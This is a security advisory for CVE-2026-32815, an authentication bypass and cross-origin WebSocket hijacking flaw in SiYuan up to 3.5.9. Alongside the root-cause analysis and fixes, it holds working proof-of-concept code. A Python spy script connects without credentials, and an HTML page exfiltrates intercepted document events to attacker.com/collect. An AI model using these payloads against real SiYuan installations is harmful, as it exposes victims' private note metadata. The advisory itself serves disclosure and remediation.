CVE-2026-32815

EPSS 0.06%

SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Published: 3/16/2026Modified: 3/30/2026

Description

# Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure ## Summary SiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users. Combined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity. ## Affected Component - **File:** `kernel/server/serve.go:728-731` - **Function:** `serveWebSocket()` → `HandleConnect` handler - **Endpoint:** `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated) - **Version:** SiYuan <= 3.5.9 ## Root Cause The WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page: ```go util.WebSocketServer.HandleConnect(func(s *melody.Session) { authOk := true if "" != model.Conf.AccessAuthCode { // ... normal session/JWT authentication checks ... // authOk = false if no valid session } if !authOk { // Bypass: allow connection for auth page keepalive // 用于授权页保持连接，避免非常驻内存内核自动退出 authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") && strings.Contains(s.Request.RequestURI, "&id=auth&type=auth") } if !authOk { s.CloseWithMsg([]byte(" unauthenticated")) return } util.AddPushChan(s) // Session added to broadcast list }) ``` Three issues combine: 1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan&id=auth&type=auth` bypasses all authentication checks. 2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events — the same events sent to authenticated clients. 3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website. ## Proof of Concept **Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.** ### 1. Direct unauthenticated connection ```python import asyncio, json, websockets async def spy(): # Connect WITHOUT any authentication cookie uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth" async with websockets.connect(uri) as ws: print("Connected without authentication!") while True: msg = await ws.recv() data = json.loads(msg) cmd = data.get("cmd") d = data.get("data", {}) if cmd == "rename": print(f"[LEAKED] Document renamed: {d.get('title')}") elif cmd == "create": print(f"[LEAKED] Document created: {d.get('path')}") elif cmd == "renamenotebook": print(f"[LEAKED] Notebook renamed: {d.get('name')}") elif cmd == "removeDoc": print(f"[LEAKED] Document deleted") elif cmd == "transactions": for tx in d if isinstance(d, list) else []: for op in tx.get("doOperations", []): if op.get("action") == "updateAttrs": new = op.get("data", {}).get("new", {}) print(f"[LEAKED] Doc attrs: title={new.get('title')}") asyncio.run(spy()) ``` ### 2. Cross-origin attack from malicious website ```html <!-- Hosted on https://attacker.com/spy.html --> <script> // Victim has SiYuan running on localhost:6806 const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth"); ws.onopen = () => console.log("Connected to victim's SiYuan!"); ws.onmessage = (event) => { const data = JSON.parse(event.data); // Exfiltrate document operations to attacker fetch("https://attacker.com/collect", { method: "POST", body: JSON.stringify({ cmd: data.cmd, data: data.data, timestamp: Date.now() }) }); }; </script> ``` ### 3. Confirmed leaked events The following events are received by the unauthenticated WebSocket: | Event | Leaked Data | |-------|-------------| | `savedoc` | Document root ID, operation data | | `transactions` | Document title, ID, attrs (new/old) | | `create` | Document path, notebook info (name, ID) | | `rename` | New document title, path, notebook ID | | `renamenotebook` | New notebook name, notebook ID | | `removeDoc` | Document deletion event | ### 4. Cross-origin connection confirmed ```python import websockets, asyncio async def test(): uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth" extra_headers = {"Origin": "https://evil.attacker.com"} async with websockets.connect(uri, additional_headers=extra_headers) as ws: print("Cross-origin connection accepted!") # SUCCEEDS asyncio.run(test()) ``` **Result:** Connection succeeds — no Origin validation. ## Attack Scenario 1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance 2. Victim has `accessAuthCode` configured (server is password-protected) 3. Victim visits `attacker.com` in any browser 4. Attacker's JavaScript connects to `ws://localhost:6806/ws?app=siyuan&id=spy&type=auth` 5. WebSocket connection bypasses authentication 6. Attacker silently monitors ALL document operations in real-time: - Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft") - Notebook names ("Personal", "Work - Confidential") - File paths and document IDs - Create/rename/delete operations 7. Attacker builds a profile of the victim's note-taking activity without any visible indication ## Impact - **Severity:** HIGH (CVSS ~7.5) - **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets) - Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured - Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance - Real-time information disclosure of document metadata (titles, paths, operations) - No user interaction required beyond visiting a malicious website - Affects both Electron desktop and Docker/server deployments - Silent — no visible indication to the user ## Suggested Fix ### 1. Remove the URL parameter authentication bypass ```go // Remove or restrict the auth page bypass // Before (vulnerable): authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") && strings.Contains(s.Request.RequestURI, "&id=auth&type=auth") // After: Use a separate, restricted endpoint for auth page keepalive // that does NOT receive broadcast events ``` ### 2. Add Origin header validation ```go util.WebSocketServer.HandleConnect(func(s *melody.Session) { // Validate Origin header origin := s.Request.Header.Get("Origin") if origin != "" { allowed := false for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} { if strings.HasPrefix(origin, o) { allowed = true break } } if !allowed { s.CloseWithMsg([]byte("origin not allowed")) return } } // ... rest of auth logic }) ``` ### 3. Separate keepalive from broadcast If the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.

Affected packages (2)

CVSS scores

SourceVersionSeverityVector
osvCVSS 4.0—CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References (5)